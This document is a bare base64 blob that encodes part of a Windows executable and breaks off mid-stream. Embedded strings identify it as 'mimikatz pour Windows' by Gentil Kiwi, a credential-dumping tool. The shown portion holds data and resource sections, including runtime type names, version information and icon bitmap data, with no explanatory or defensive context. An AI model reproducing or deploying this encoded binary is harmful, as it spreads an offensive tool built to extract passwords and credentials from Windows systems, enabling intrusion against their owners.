Bg8QMQTPEDEAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcFEAAAAAAAAAAAAAAAAAAHBRAAAAAAAAAAAAAAAAAABwUQAAAAAAAAAAAAAAAAAAcFEAAAAAAAAAAAAAAAAAAHBRAAAAAAAAAAAAAAAAABAAAAAQAAAAAAAAAAAAAAAAAAAEgCBRAAAAAAAAAAANDpAxBY7gMQ2O8DEAgHBRBwCAUQcAgFEKAKBRD//////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQICAgICAgICAgICAgICAgIDAwMDAwMDAwAAAAAAAAAA/////4AKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEAAAAAAAACAgICAgICAgICAgICAgICAgICAgICAgICAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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ALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAgsLCwQLCwsJCwsLDgsLCxMLCwsXCwsLGgsLCxcLCwsTCwsLDQsLCwULCwsCCwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwoJAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLBwsLCxYLCwsnCwsLOAsJCT8LCQdFCwkHTQsJB1kLCQdkCwkJcAsLCXsLCwuFCwsMigsLDIkLCwt/CwsLcwsLC2ULCwtWCwsLSQsLC0ALCws6CwsLLgsLCxwLCwsKCwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLDQsLCx4LCws2CwsLTgsLC2YLCQVzDQkGhw0NDZ8NDRGuDhMXvg0OEbwJDA6+CwsLxg0LCMwLBwPKCwgD0QsIBdQLCQfTCwsJzQsLC8QLCwy7CwsLsQsLC6gLCwucCwsLigsLC2wLCwtKCwsLKQsLCxELCwsDCwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwYLCwskCwsLRAsLC2ILCgl9CwkGjw0IBqgNEhnQChos+AkeNf8HIDv/ByND/wgmRf8JJUP/CSA7/wggOf8KIDf+Cxko/QsWIPkLDRL1CwkF8wsGA/ILCQXwCwkJ6gsLC+ULCwvaCwsLyQsLC60LCwuNCwsLaAsLC0QLCwsmCwsLEgsLCwYLCwsBCwsLAAsLCwALCwsADAwMAAwMDAAMDAwADAwMAAwMDAAMDAwACwsMAAsMDAAMDAwADAwMAAwMDBMLCww5CQkJYAoIA3wMCgilDBEX2woeNP8HJEL/BiE9/wYeOP8JKEX/CSZC/wksTf8JKUf/CSlG/wkoRP8HJUP/CChI/wgpSv8IJkL/CB0z/wocLf8LEhn+CwsJ+gsHBPILCQXmCwoJ3wsLC80LCwuyCwsLiwsLC2oLCwtGCwsLKQsLCxMLCwsGCwsLAAsLCw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